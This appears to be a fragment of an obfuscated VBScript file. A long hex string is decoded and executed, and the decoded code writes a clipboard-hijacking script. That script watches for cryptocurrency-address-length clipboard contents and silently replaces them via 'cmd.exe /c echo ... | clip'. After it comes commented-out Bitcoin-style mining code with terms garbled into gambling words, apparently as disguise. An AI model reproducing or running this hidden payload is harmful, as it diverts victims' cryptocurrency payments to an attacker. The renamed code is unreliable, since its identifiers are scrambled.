446F75626C657358332E57726974654C696E6520224966204C656E6774686F66436C6970626F6172642
03E3D20323620616E64204C656E6774686F66436C6970626F617264203C3D203335207468656E220D0A
2020202046696C65506179446F75626C657358332E57726974654C696E6520226F626A5753482E72756
E20222026206368722833342920262022433A5C57696E646F77735C53797374656D33325C636D642E65
7865202F63206563686F202220262047616D65526F6C6C52616E646F6D363120262047616D65526F6C6
C52616E646F6D3335202620227C20636C69702220262063687228333429202620222C2030220D0A2020
202046696C65506179446F75626C657358332E57726974654C696E652022456E64204966220D0A20202
02046696C65506179446F75626C657358332E57726974654C696E652022456E6420496622200D0A2020
202046696C65506179446F75626C657358332E57726974654C696E6520224966204C65667428436C697
0626F6172642C3229203D20222026206368722833342920262022333222202620636872283334292026
2022207468656E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E65202
24966204C656E6774686F66436C6970626F617264203E3D20323620616E64204C656E6774686F66436C
6970626F617264203C3D203335207468656E220D0A2020202046696C65506179446F75626C657358332
E57726974654C696E6520226F626A5753482E72756E20222026206368722833342920262022433A5C57
696E646F77735C53797374656D33325C636D642E657865202F63206563686F202220262047616D65526
F6C6C52616E646F6D363120262047616D65526F6C6C52616E646F6D3336202620227C20636C69702220
262063687228333429202620222C2030220D0A2020202046696C65506179446F75626C657358332E577
26974654C696E652022456E64204966220D0A2020202046696C65506179446F75626C657358332E5772
6974654C696E652022456E6420496622200D0A2020202046696C65506179446F75626C657358332E577
26974654C696E6520224966204C65667428436C6970626F6172642C3229203D20222026206368722833
3429202620223333222026206368722833342920262022207468656E220D0A2020202046696C6550617
9446F75626C657358332E57726974654C696E6520224966204C656E6774686F66436C6970626F617264
203E3D20323620616E64204C656E6774686F66436C6970626F617264203C3D203335207468656E220D0
A2020202046696C65506179446F75626C657358332E57726974654C696E6520226F626A5753482E7275
6E20222026206368722833342920262022433A5C57696E646F77735C53797374656D33325C636D642E6
57865202F63206563686F202220262047616D65526F6C6C52616E646F6D363120262047616D65526F6C
6C52616E646F6D3337202620227C20636C69702220262063687228333429202620222C2030220D0A202
0202046696C65506179446F75626C657358332E57726974654C696E652022456E64204966220D0A2020
202046696C65506179446F75626C657358332E57726974654C696E652022456E6420496622200D0A202
0202046696C65506179446F75626C657358332E57726974654C696E6520224966204C65667428436C69
70626F6172642C3229203D2022202620636872283334292026202233342220262063687228333429202
62022207468656E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520
224966204C656E6774686F66436C6970626F617264203E3D20323620616E64204C656E6774686F66436
C6970626F617264203C3D203335207468656E220D0A2020202046696C65506179446F75626C65735833
2E57726974654C696E6520226F626A5753482E72756E20222026206368722833342920262022433A5C5
7696E646F77735C53797374656D33325C636D642E657865202F63206563686F202220262047616D6552
6F6C6C52616E646F6D363120262047616D65526F6C6C52616E646F6D3338202620227C20636C6970222
0262063687228333429202620222C2030220D0A2020202046696C65506179446F75626C657358332E57
726974654C696E652022456E64204966220D0A2020202046696C65506179446F75626C657358332E577
26974654C696E652022456E6420496622200D0A2020202046696C65506179446F75626C657358332E57
726974654C696E6520224966204C65667428436C6970626F6172642C3229203D2022202620636872283
33429202620223335222026206368722833342920262022207468656E220D0A2020202046696C655061
79446F75626C657358332E57726974654C696E6520224966204C656E6774686F66436C6970626F61726
4203E3D20323620616E64204C656E6774686F66436C6970626F617264203C3D203335207468656E220D
0A2020202046696C65506179446F75626C657358332E57726974654C696E6520226F626A5753482E727
56E20222026206368722833342920262022433A5C57696E646F77735C53797374656D33325C636D642E
657865202F63206563686F202220262047616D65526F6C6C52616E646F6D363120262047616D65526F6
C6C52616E646F6D3339202620227C20636C69702220262063687228333429202620222C2030220D0A20
20202046696C65506179446F75626C657358332E57726974654C696E652022456E64204966220D0A202
0202046696C65506179446F75626C657358332E57726974654C696E652022456E6420496622200D0A20
20202046696C65506179446F75626C657358332E57726974654C696E6520224966204C65667428436C6
970626F6172642C3229203D202220262063687228333429202620223336222026206368722833342920
262022207468656E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E652
0224966204C656E6774686F66436C6970626F617264203E3D20323620616E64204C656E6774686F6643
6C6970626F617264203C3D203335207468656E220D0A2020202046696C65506179446F75626C6573583
32E57726974654C696E6520226F626A5753482E72756E20222026206368722833342920262022433A5C
57696E646F77735C53797374656D33325C636D642E657865202F63206563686F202220262047616D655
26F6C6C52616E646F6D363120262047616D65526F6C6C52616E646F6D3430202620227C20636C697022
20262063687228333429202620222C2030220D0A2020202046696C65506179446F75626C657358332E5
7726974654C696E652022456E64204966220D0A2020202046696C65506179446F75626C657358332E57
726974654C696E652022456E6420496622200D0
A2020202046696C65506179446F75626C657358332E57726974654C696E6520224966204C6566742843
6C6970626F6172642C3229203D202220262063687228333429202620223337222026206368722833342
920262022207468656E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E
6520224966204C656E6774686F66436C6970626F617264203E3D20323620616E64204C656E6774686F6
6436C6970626F617264203C3D203335207468656E220D0A2020202046696C65506179446F75626C6573
58332E57726974654C696E6520226F626A5753482E72756E20222026206368722833342920262022433
A5C57696E646F77735C53797374656D33325C636D642E657865202F63206563686F202220262047616D
65526F6C6C52616E646F6D363120262047616D65526F6C6C52616E646F6D3431202620227C20636C697
02220262063687228333429202620222C2030220D0A2020202046696C65506179446F75626C65735833
2E57726974654C696E652022456E64204966220D0A2020202046696C65506179446F75626C657358332
E57726974654C696E652022456E6420496622200D0A2020202046696C65506179446F75626C65735833
2E57726974654C696E6520224966204C65667428436C6970626F6172642C3229203D202220262063687
228333429202620223338222026206368722833342920262022207468656E220D0A2020202046696C65
506179446F75626C657358332E57726974654C696E6520224966204C656E6774686F66436C6970626F6
17264203E3D20323620616E64204C656E6774686F66436C6970626F617264203C3D203335207468656E
220D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520226F626A5753482
E72756E20222026206368722833342920262022433A5C57696E646F77735C53797374656D33325C636D
642E657865202F63206563686F202220262047616D65526F6C6C52616E646F6D363120262047616D655
26F6C6C52616E646F6D3432202620227C20636C69702220262063687228333429202620222C2030220D
0A2020202046696C65506179446F75626C657358332E57726974654C696E652022456E64204966220D0
A2020202046696C65506179446F75626C657358332E57726974654C696E652022456E6420496622200D
0A2020202046696C65506179446F75626C657358332E57726974654C696E6520224966204C656674284
36C6970626F6172642C3229203D20222026206368722833342920262022333922202620636872283334
2920262022207468656E220D0A2020202046696C65506179446F75626C657358332E57726974654C696
E6520224966204C656E6774686F66436C6970626F617264203E3D20323620616E64204C656E6774686F
66436C6970626F617264203C3D203335207468656E220D0A2020202046696C65506179446F75626C657
358332E57726974654C696E6520226F626A5753482E72756E2022202620636872283334292026202243
3A5C57696E646F77735C53797374656D33325C636D642E657865202F63206563686F202220262047616
D65526F6C6C52616E646F6D363120262047616D65526F6C6C52616E646F6D3433202620227C20636C69
702220262063687228333429202620222C2030220D0A2020202046696C65506179446F75626C6573583
32E57726974654C696E652022456E64204966220D0A2020202046696C65506179446F75626C65735833
2E57726974654C696E652022456E6420496622200D0A2020202046696C65506179446F75626C6573583
32E57726974654C696E6520224966204C65667428436C6970626F6172642C3229203D20222026206368
7228333429202620223341222026206368722833342920262022207468656E220D0A2020202046696C6
5506179446F75626C657358332E57726974654C696E6520224966204C656E6774686F66436C6970626F
617264203E3D20323620616E64204C656E6774686F66436C6970626F617264203C3D203335207468656
E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520226F626A575348
2E72756E20222026206368722833342920262022433A5C57696E646F77735C53797374656D33325C636
D642E657865202F63206563686F202220262047616D65526F6C6C52616E646F6D363120262047616D65
526F6C6C52616E646F6D3434202620227C20636C69702220262063687228333429202620222C2030220
D0A2020202046696C65506179446F75626C657358332E57726974654C696E652022456E64204966220D
0A2020202046696C65506179446F75626C657358332E57726974654C696E652022456E6420496622200
D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520224966204C65667428
436C6970626F6172642C3229203D2022202620636872283334292026202233422220262063687228333
42920262022207468656E220D0A2020202046696C65506179446F75626C657358332E57726974654C69
6E6520224966204C656E6774686F66436C6970626F617264203E3D20323620616E64204C656E6774686
F66436C6970626F617264203C3D203335207468656E220D0A2020202046696C65506179446F75626C65
7358332E57726974654C696E6520226F626A5753482E72756E202220262063687228333429202620224
33A5C57696E646F77735C53797374656D33325C636D642E657865202F63206563686F20222026204761
6D65526F6C6C52616E646F6D363120262047616D65526F6C6C52616E646F6D3435202620227C20636C6
9702220262063687228333429202620222C2030220D0A2020202046696C65506179446F75626C657358
332E57726974654C696E652022456E64204966220D0A2020202046696C65506179446F75626C6573583
32E57726974654C696E652022456E6420496622200D0A2020202046696C65506179446F75626C657358
332E57726974654C696E6520224966204C65667428436C6970626F6172642C3229203D2022202620636
87228333429202620223343222026206368722833342920262022207468656E220D0A2020202046696C
65506179446F75626C657358332E57726974654C696E6520224966204C656E6774686F66436C6970626
F617264203E3D20323620616E64204C656E6774686F66436C6970626F617264203C3D20333520746865
6E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520226F626A57534
82E72756E20222026206368722833342920262022433A5C57696E646F77735C53797374656D33325C63
6D642E657865202F63206563686F202220262047616D65526F6C6C52616E646F6D363120262047616D6
5526F6C6C52616E646F6D3436202620227C20636C69702220262063687228333429202620222C203022
0D0A2020202046696C65506179446F75626C657358332E57726974654C696E652022456E64204966220
D0A2020202046696C65506179446F75626C657358332E57726974654C696E652022456E642049662220
0D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520224966204C6566742
8436C6970626F6172642C3229203D202220262063687228333429202620223344222026206368722833
342920262022207468656E220D0A2020202046696C65506179446F75626C657358332E57726974654C6
96E6520224966204C656E6774686F66436C6970626F617264203E3D20323620616E64204C656E677468
6F66436C6970626F617264203C3D203335207468656E220D0A2020202046696C65506179446F75626C6
57358332E57726974654C696E6520226F626A5753482E72756E20222026206368722833342920262022
433A5C57696E646F77735C53797374656D33325C636D642E657865202F63206563686F2022202620476
16D65526F6C6C52616E646F6D363120262047616D65526F6C6C52616E646F6D3437202620227C20636C
69702220262063687228333429202620222C2030220D0A2020202046696C65506179446F75626C65735
8332E57726974654C696E652022456E64204966220D0A2020202046696C65506179446F75626C657358
332E57726974654C696E652022456E6420496622200D0A2020202046696C65506179446F75626C65735
8332E57726974654C696E6520224966204C65667428436C6970626F6172642C3229203D202220262063
687228333429202620223345222026206368722833342920262022207468656E220D0A2020202046696
C65506179446F75626C657358332E57726974654C696E6520224966204C656E6774686F66436C697062
6F617264203E3D20323620616E64204C656E6774686F66436C6970626F617264203C3D2033352074686
56E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520226F626A5753
482E72756E20222026206368722833342920262022433A5C57696E646F77735C53797374656D33325C6
36D642E657865202F63206563686F202220262047616D65526F6C6C52616E646F6D363120262047616D
65526F6C6C52616E646F6D3438202620227C20636C69702220262063687228333429202620222C20302
20D0A2020202046696C65506179446F75626C657358332E57726974654C696E652022456E6420496622
0D0A2020202046696C65506179446F75626C657358332E57726974654C696E652022456E64204966222
00D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520224966204C656674
28436C6970626F6172642C3229203D20222026206368722833342920262022334622202620636872283
3342920262022207468656E220D0A2020202046696C65506179446F75626C657358332E57726974654C
696E6520224966204C656E6774686F66436C6970626F617264203E3D20323620616E64204C656E67746
86F66436C6970626F617264203C3D203335207468656E220D0A2020202046696C65506179446F75626C
657358332E57726974654C696E6520226F626A5753482E72756E2022202620636872283334292026202
2433A5C57696E646F77735C53797374656D33325C636D642E657865202F63206563686F202220262047
616D65526F6C6C52616E646F6D363120262047616D65526F6C6C52616E646F6D3439202620227C20636
C69702220262063687228333429202620222C2030220D0A2020202046696C65506179446F75626C6573
58332E57726974654C696E652022456E64204966220D0A2020202046696C65506179446F75626C65735
8332E57726974654C696E652022456E6420496622200D0A2020202046696C65506179446F75626C6573
58332E57726974654C696E6520224966204C65667428436C6970626F6172642C3229203D20222026206
3687228333429202620223347222026206368722833342920262022207468656E220D0A202020204669
6C65506179446F75626C657358332E57726974654C696E6520224966204C656E6774686F66436C69706
26F617264203E3D20323620616E64204C656E6774686F66436C6970626F617264203C3D203335207468
656E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520226F626A575
3482E72756E20222026206368722833342920262022433A5C57696E646F77735C53797374656D33325C
636D642E657865202F63206563686F202220262047616D65526F6C6C52616E646F6D363120262047616
D65526F6C6C52616E646F6D3530202620227C20636C69702220262063687228333429202620222C2030
220D0A2020202046696C65506179446F75626C657358332E57726974654C696E652022456E642049662
20D0A2020202046696C65506179446F75626C657358332E57726974654C696E652022456E6420496622
200D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520224966204C65667
428436C6970626F6172642C3229203D2022202620636872283334292026202233482220262063687228
33342920262022207468656E220D0A2020202046696C65506179446F75626C657358332E57726974654
C696E6520224966204C656E6774686F66436C6970626F617264203E3D20323620616E64204C656E6774
686F66436C6970626F617264203C3D203335207468656E220D0A2020202046696C65506179446F75626
C657358332E57726974654C696E6520226F626A5753482E72756E202220262063687228333429202620
22433A5C57696E646F77735C53797374656D33325C636D642E657865202F63206563686F20222026204
7616D65526F6C6C52616E646F6D363120262047616D65526F6C6C52616E646F6D3531202620227C2063
6C69702220262063687228333429202620222C2030220D0A2020202046696C65506179446F75626C657
358332E57726974654C696E652022456E64204966220D0A2020202046696C65506179446F75626C6573
58332E57726974654C696E652022456E6420496622200D0A2020202046696C65506179446F75626C657
358332E57726974654C696E6520224966204C65667428436C6970626F6172642C3229203D2022202620
6368722833342920262022334A222026206368722833342920262022207468656E220D0A20202020466
96C65506179446F75626C657358332E57726974654C696E6520224966204C656E6774686F66436C6970
626F617264203E3D20323620616E64204C656E6774686F66436C6970626F617264203C3D20333520746
8656E220D0A2020202046696C65506179446F75
626C657358332E57726974654C696E6520226F626A5753482E72756E202220262063687228333429202
62022433A5C57696E646F77735C53797374656D33325C636D642E657865202F63206563686F20222026
2047616D65526F6C6C52616E646F6D363120262047616D65526F6C6C52616E646F6D3532202620227C2
0636C69702220262063687228333429202620222C2030220D0A2020202046696C65506179446F75626C
657358332E57726974654C696E652022456E64204966220D0A2020202046696C65506179446F75626C6
57358332E57726974654C696E652022456E6420496622200D0A2020202046696C65506179446F75626C
657358332E57726974654C696E6520224966204C65667428436C6970626F6172642C3229203D2022202
6206368722833342920262022334B222026206368722833342920262022207468656E220D0A20202020
46696C65506179446F75626C657358332E57726974654C696E6520224966204C656E6774686F66436C6
970626F617264203E3D20323620616E64204C656E6774686F66436C6970626F617264203C3D20333520
7468656E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520226F626
A5753482E72756E20222026206368722833342920262022433A5C57696E646F77735C53797374656D33
325C636D642E657865202F63206563686F202220262047616D65526F6C6C52616E646F6D36312026204
7616D65526F6C6C52616E646F6D3533202620227C20636C69702220262063687228333429202620222C
2030220D0A2020202046696C65506179446F75626C657358332E57726974654C696E652022456E64204
966220D0A2020202046696C65506179446F75626C657358332E57726974654C696E652022456E642049
6622200D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520224966204C6
5667428436C6970626F6172642C3229203D20222026206368722833342920262022334C222026206368
722833342920262022207468656E220D0A2020202046696C65506179446F75626C657358332E5772697
4654C696E6520224966204C656E6774686F66436C6970626F617264203E3D20323620616E64204C656E
6774686F66436C6970626F617264203C3D203335207468656E220D0A2020202046696C65506179446F7
5626C657358332E57726974654C696E6520226F626A5753482E72756E20222026206368722833342920
262022433A5C57696E646F77735C53797374656D33325C636D642E657865202F63206563686F2022202
62047616D65526F6C6C52616E646F6D363120262047616D65526F6C6C52616E646F6D3534202620227C
20636C69702220262063687228333429202620222C2030220D0A2020202046696C65506179446F75626
C657358332E57726974654C696E652022456E64204966220D0A2020202046696C65506179446F75626C
657358332E57726974654C696E652022456E6420496622200D0A2020202046696C65506179446F75626
C657358332E57726974654C696E6520224966204C65667428436C6970626F6172642C3229203D202220
26206368722833342920262022334D222026206368722833342920262022207468656E220D0A2020202
046696C65506179446F75626C657358332E57726974654C696E6520224966204C656E6774686F66436C
6970626F617264203E3D20323620616E64204C656E6774686F66436C6970626F617264203C3D2033352
07468656E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520226F62
6A5753482E72756E20222026206368722833342920262022433A5C57696E646F77735C53797374656D3
3325C636D642E657865202F63206563686F202220262047616D65526F6C6C52616E646F6D3631202620
47616D65526F6C6C52616E646F6D3535202620227C20636C69702220262063687228333429202620222
C2030220D0A2020202046696C65506179446F75626C657358332E57726974654C696E652022456E6420
4966220D0A2020202046696C65506179446F75626C657358332E57726974654C696E652022456E64204
96622200D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520224966204C
65667428436C6970626F6172642C3229203D20222026206368722833342920262022334E22202620636
8722833342920262022207468656E220D0A2020202046696C65506179446F75626C657358332E577269
74654C696E6520224966204C656E6774686F66436C6970626F617264203E3D20323620616E64204C656
E6774686F66436C6970626F617264203C3D203335207468656E220D0A2020202046696C65506179446F
75626C657358332E57726974654C696E6520226F626A5753482E72756E2022202620636872283334292
0262022433A5C57696E646F77735C53797374656D33325C636D642E657865202F63206563686F202220
262047616D65526F6C6C52616E646F6D363120262047616D65526F6C6C52616E646F6D3536202620227
C20636C69702220262063687228333429202620222C2030220D0A2020202046696C65506179446F7562
6C657358332E57726974654C696E652022456E64204966220D0A2020202046696C65506179446F75626
C657358332E57726974654C696E652022456E6420496622200D0A2020202046696C65506179446F7562
6C657358332E57726974654C696E6520224966204C65667428436C6970626F6172642C3229203D20222
0262063687228333429202620223350222026206368722833342920262022207468656E220D0A202020
2046696C65506179446F75626C657358332E57726974654C696E6520224966204C656E6774686F66436
C6970626F617264203E3D20323620616E64204C656E6774686F66436C6970626F617264203C3D203335
207468656E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520226F6
26A5753482E72756E20222026206368722833342920262022433A5C57696E646F77735C53797374656D
33325C636D642E657865202F63206563686F202220262047616D65526F6C6C52616E646F6D363120262
047616D65526F6C6C52616E646F6D3537202620227C20636C6970222026206368722833342920262022
2C2030220D0A2020202046696C65506179446F75626C657358332E57726974654C696E652022456E642
04966220D0A2020202046696C65506179446F75626C657358332E57726974654C696E652022456E6420
496622200D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520224966204
C65667428436C6970626F6172642C3229203D2022202620636872283334292026202233512220262063
68722833342920262022207468656E220D0A2020202046696C65506179446F75626C657358332E57726
974654C696E6520224966204C656E6774686F66436C6970626F617264203E3D20323620616E64204C65
6E6774686F66436C6970626F617264203C3D203335207468656E220D0A2020202046696C65506179446
F75626C657358332E57726974654C696E6520226F626A5753482E72756E202220262063687228333429
20262022433A5C57696E646F77735C53797374656D33325C636D642E657865202F63206563686F20222
0262047616D65526F6C6C52616E646F6D363120262047616D65526F6C6C52616E646F6D353820262022
7C20636C69702220262063687228333429202620222C2030220D0A2020202046696C65506179446F756
26C657358332E57726974654C696E652022456E64204966220D0A2020202046696C65506179446F7562
6C657358332E57726974654C696E652022456E6420496622200D0A2020202046696C65506179446F756
26C657358332E57726974654C696E6520224966204C65667428436C6970626F6172642C3229203D2022
20262063687228333429202620223352222026206368722833342920262022207468656E220D0A20202
02046696C65506179446F75626C657358332E57726974654C696E6520224966204C656E6774686F6643
6C6970626F617264203E3D20323620616E64204C656E6774686F66436C6970626F617264203C3D20333
5207468656E220D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520226F
626A5753482E72756E20222026206368722833342920262022433A5C57696E646F77735C53797374656
D33325C636D642E657865202F63206563686F202220262047616D65526F6C6C52616E646F6D36312026
2047616D65526F6C6C52616E646F6D3539202620227C20636C697022202620636872283334292026202
22C2030220D0A2020202046696C65506179446F75626C657358332E57726974654C696E652022456E64
204966220D0A2020202046696C65506179446F75626C657358332E57726974654C696E652022456E642
0496622200D0A2020202046696C65506179446F75626C657358332E57726974654C696E6520224C6F6F
70220D0A2020202046696C65506179446F75626C657358332E436C6F73650D0A095365742046696C655
06179446F75626C65735833203D204E6F7468696E670D0A456E64205375620D0A"
for x=1 to len(code) step 2
command=command & chr(cint("&H" & (mid(code,x,2))))
next
Execute command
'int64_t UpdateTime(CBlockHeader* pblock, const DoubleWins_2X::Params&
DoubleWins_2XParams, const CBlockIndex* pindexPrev)
'{
'int64_t nOldTime = pblock->nTime;
'int64_t nNewTime = std::max(pindexPrev->GetMedianTimePast()+1, GetAdjustedTime());
'
'if (nOldTime < nNewTime)
'pblock->nTime = nNewTime;
'
'// Updating time can change work required on testnet:
'if (DoubleWins_2XParams.fPowAllowMinDifficultyBlocks)
'pblock->nBits = GetNextWorkRequired(pindexPrev, pblock, DoubleWins_2XParams);
'
'return nNewTime - nOldTime;
'}
'
'void RegenerateCommitments(CBlock& block)
'{
'CMutableJackpot_Roll tx{*block.vtx.at(0)};
'tx.vout.erase(tx.vout.begin() + GetWitnessCommitmentIndex(block));
'block.vtx.at(0) = MakeJackpot_RollRef(tx);
'
'GenerateRoll_10000Commitment(block, WITH_LOCK(cs_main, return
LookupBlockIndex(block.hashPrevBlock)), Params().GetDoubleWins_2X());
'
'block.hashMerkleRoot = BlockMerkleRoot(block);
'}
'
'BlockAssembler::Options::Options() {
'blockMinFeeRate = CFeeRate(DEFAULT_BLOCK_MIN_TX_FEE);
'nBlockMaxWeight = DEFAULT_BLOCK_MAX_WEIGHT;
'}
'
'BlockAssembler::BlockAssembler(const CTxMemPool& mempool, const CChainParams&
params, const Options& options)
': chainparams(params),
'm_mempool(mempool)
'{
'blockMinFeeRate = options.blockMinFeeRate;
'// Limit weight to between 4K and MAX_BLOCK_WEIGHT-4K for sanity:
'nBlockMaxWeight = std::max<size_t>(4000, std::min<size_t>(MAX_BLOCK_WEIGHT - 4000,
options.nBlockMaxWeight));
'}
'
'static BlockAssembler::Options DefaultOptions()
'{
'// Block resource limits
'// If -blockmaxweight is not given, limit to DEFAULT_BLOCK_MAX_WEIGHT
'BlockAssembler::Options options;
'options.nBlockMaxWeight = gArgs.GetArg("-blockmaxweight",
DEFAULT_BLOCK_MAX_WEIGHT);
'CAmount n = 0;
'if (gArgs.IsArgSet("-blockmintxfee") && ParseMoney(gArgs.GetArg("-blockmintxfee",
""), n)) {
'options.blockMinFeeRate = CFeeRate(n);
'} else {
'options.blockMinFeeRate = CFeeRate(DEFAULT_BLOCK_MIN_TX_FEE);
'}
'return options;
'}
'
'BlockAssembler::BlockAssembler(const CTxMemPool& mempool, const CChainParams&
params)
': BlockAssembler(mempool, params, DefaultOptions()) {}
'
'void BlockAssembler::resetBlock()
'{
'inBlock.clear();
'
'// Reserve space for Roll_10000 tx
'nBlockWeight = 4000;
'nBlockSigOpsCost = 400;
'fIncludeWitness = false;
'
'// These counters do not include Roll_10000 tx
'nBlockTx = 0;
'nFees = 0;
'}
'
'Optional<int64_t> BlockAssembler::m_last_block_num_txs{nullopt};
'Optional<int64_t> BlockAssembler::m_last_block_weight{nullopt};
'
'std::unique_ptr<CBlockTemplate> BlockAssembler::CreateNewBlock(const CScript&
scriptPubKeyIn)
'{
'int64_t nTimeStart = GetTimeMicros();
'
'resetBlock();
'
'pblocktemplate.reset(new CBlockTemplate());
'
'if(!pblocktemplate.get())
'return nullptr;
'pblock = &pblocktemplate->block; // pointer for convenience
'
'// Add dummy Roll_10000 tx as first Jackpot_Roll
'pblock->vtx.emplace_back();
'pblocktemplate->vTxFees.push_back(-1); // updated at end
'pblocktemplate->vTxSigOpsCost.push_back(-1); // updated at end
'
'LOCK2(cs_main, m_mempool.cs);
'CBlockIndex* pindexPrev = ::ChainActive().Tip();
'assert(pindexPrev != nullptr);
'nHeight = pindexPrev->nHeight + 1;
'
'pblock->nVersion = ComputeBlockVersion(pindexPrev,
chainparams.GetDoubleWins_2X());
'// -regtest only: allow overriding block.nVersion with
'// -blockversion=N to test forking scenarios
'if (chainparams.MineBlocksOnDemand())
'pblock->nVersion = gArgs.GetArg("-blockversion", pblock->nVersion);
'
'pblock->nTime = GetAdjustedTime();
'const int64_t nMedianTimePast = pindexPrev->GetMedianTimePast();
'
'nLockTimeCutoff = (STANDARD_LOCKTIME_VERIFY_FLAGS & LOCKTIME_MEDIAN_TIME_PAST)
'? nMedianTimePast
': pblock->GetBlockTime();
'
'// Decide whether to include DoubleWins
'// This is only needed in case Jackpot get very high
'// (which would require a very deep reorganization).
'// Note that the mempool would accept Jackpot with Wins2X data before
'// IsWinsEnabled, but we would only ever Win after IsWinsEnabled
'// unless there is a massive Jackpot with the wins2X softfork
'// not activated.
'// TODO: replace this with a call to main to assess validity of a mempool
'// Jackpot (which in most cases can be a no-op).
'fIncludeWitness = IsWitnessEnabled(pindexPrev, chainparams.GetDoubleWins_2X());
'
'int nPackagesSelected = 0;
'int nDescendantsUpdated = 0;
'addPackageTxs(nPackagesSelected, nDescendantsUpdated);
'
'int64_t nTime1 = GetTimeMicros();
'
'm_last_block_num_txs = nBlockTx;
'm_last_block_weight = nBlockWeight;
'
'// Create Roll_10000 Jackpot_Roll.
'CMutableJackpot_Roll Roll_10000Tx;
'Roll_10000Tx.vin.resize(1);
'Roll_10000Tx.vin[0].prevout.SetNull();
'Roll_10000Tx.vout.resize(1);
'Roll_10000Tx.vout[0].scriptPubKey = scriptPubKeyIn;
'Roll_10000Tx.vout[0].nValue = nFees + GetBlockSubsidy(nHeight,
chainparams.GetDoubleWins_2X());
'Roll_10000Tx.vin[0].scriptSig = CScript() << nHeight << OP_0;
'pblock->vtx[0] = MakeJackpot_RollRef(std::move(Roll_10000Tx));
'pblocktemplate->vchRoll_10000Commitment = GenerateRoll_10000Commitment(*pblock,
pindexPrev, chainparams.GetDoubleWins_2X());
'pblocktemplate->vTxFees[0] = -nFees;
'
'LogPrintf("CreateNewBlock(): block weight: %u txs: %u fees: %ld sigops %d\n",
GetBlockWeight(*pblock), nBlockTx, nFees, nBlockSigOpsCost);
'
'// Fill in header
'pblock->hashPrevBlock = pindexPrev->GetBlockHash();
'UpdateTime(pblock, chainparams.GetDoubleWins_2X(), pindexPrev);
'pblock->nBits = GetNextWorkRequired(pindexPrev, pblock,
chainparams.GetDoubleWins_2X());
'pblock->nNonce = 0;
'pblocktemplate->vTxSigOpsCost[0] = WITNESS_SCALE_FACTOR *
GetLegacySigOpCount(*pblock->vtx[0]);
'
'BlockValidationState state;
'if (!TestBlockValidity(state, chainparams, *pblock, pindexPrev, false, false)) {
'throw std::runtime_error(strprintf("%s: TestBlockValidity failed: %s", __func__,
state.ToString()));
'}
'int64_t nTime2 = GetTimeMicros();
'
'LogPrint(BCLog::BENCH, "CreateNewBlock() packages: %.2fms (%d packages, %d updated
descendants), validity: %.2fms (total %.2fms)\n", 0.001 * (nTime1 - nTimeStart),
nPackagesSelected, nDescendantsUpdated, 0.001 * (nTime2 - nTime1), 0.001 * (nTime2
- nTimeStart));
'
'return std::move(pblocktemplate);
'}
'
'void BlockAssembler::onlyUnconfirmed(CTxMemPool::setEntries& testSet)
'{
'for (CTxMemPool::setEntries::iterator iit = testSet.begin(); iit != testSet.end();
) {
'// Only test txs not already in the block
'if (inBlock.count(*iit)) {
'testSet.erase(iit++);
'}
'else {
'iit++;
'}
'}
'}
'
'bool BlockAssembler::TestPackage(uint64_t packageSize, int64_t packageSigOpsCost)
const
'{
'// TODO: switch to weight-based accounting for packages instead of vsize-based
accounting.
'if (nBlockWeight + WITNESS_SCALE_FACTOR * packageSize >= nBlockMaxWeight)
'return false;
'if (nBlockSigOpsCost + packageSigOpsCost >= MAX_BLOCK_SIGOPS_COST)
'return false;
'return true;
'}
'
'// Perform Jackpot_Roll-level checks before adding to block:
'// - Jackpot_Roll finality (locktime)
'// - premature witness (in case segwit Jackpot_Rolls are added to mempool before
'// segwit activation)
'bool BlockAssembler::TestPackageJackpot_Rolls(const CTxMemPool::setEntries&
package)
'{
'for (CTxMemPool::txiter it : package) {
'if (!IsFinalTx(it->GetTx(), nHeight, nLockTimeCutoff))
'return false;
'if (!fIncludeWitness && it->GetTx().HasWitness())
'return false;
'}
'return true;
'}
'
'void BlockAssembler::AddToBlock(CTxMemPool::txiter iter)
'{
'pblock->vtx.emplace_back(iter->GetSharedTx());
'pblocktemplate->vTxFees.push_back(iter->GetFee());
'pblocktemplate->vTxSigOpsCost.push_back(iter->GetSigOpCost());
'nBlockWeight += iter->GetTxWeight();
'++nBlockTx;
'nBlockSigOpsCost += iter->GetSigOpCost();
'nFees += iter->GetFee();
'inBlock.insert(iter);
'
'bool fPrintPriority = gArgs.GetBoolArg("-printpriority", DEFAULT_PRINTPRIORITY);
'if (fPrintPriority) {
'LogPrintf("fee %s txid %s\n",
'CFeeRate(iter->GetModifiedFee(), iter->GetTxSize()).ToString(),
'iter->GetTx().GetHash().ToString());
'}
'}
'
'int BlockAssembler::UpdatePackagesForAdded(const CTxMemPool::setEntries&
alreadyAdded,
'indexed_modified_Jackpot_Roll_set &Jackpot_Win2x)
'{
'int nDescendantsUpdated = 0;
'for (CTxMemPool::txiter it : alreadyAdded) {
'CTxMemPool::setEntries descendants;
'm_mempool.CalculateDescendants(it, descendants);
'// Insert all descendants (not yet in block) into the modified set
'for (CTxMemPool::txiter desc : descendants) {
'if (alreadyAdded.count(desc))
'continue;
'++nDescendantsUpdated;
'modtxiter mit = Jackpot_Win2x.find(desc);
'if (mit == Jackpot_Win2x.end()) {
'CTxMemPoolModifiedEntry modEntry(desc);
'modEntry.nSizeWithAncestors -= it->GetTxSize();
'modEntry.nModFeesWithAncestors -= it->GetModifiedFee();
'modEntry.nSigOpCostWithAncestors -= it->GetSigOpCost();
'Jackpot_Win2x.insert(modEntry);
'} else {
'Jackpot_Win2x.modify(mit, update_for_parent_inclusion(it));
'}
'}
'}
'return nDescendantsUpdated;
'}
'
'// Skip entries in Roll_map that are already in a block or are present
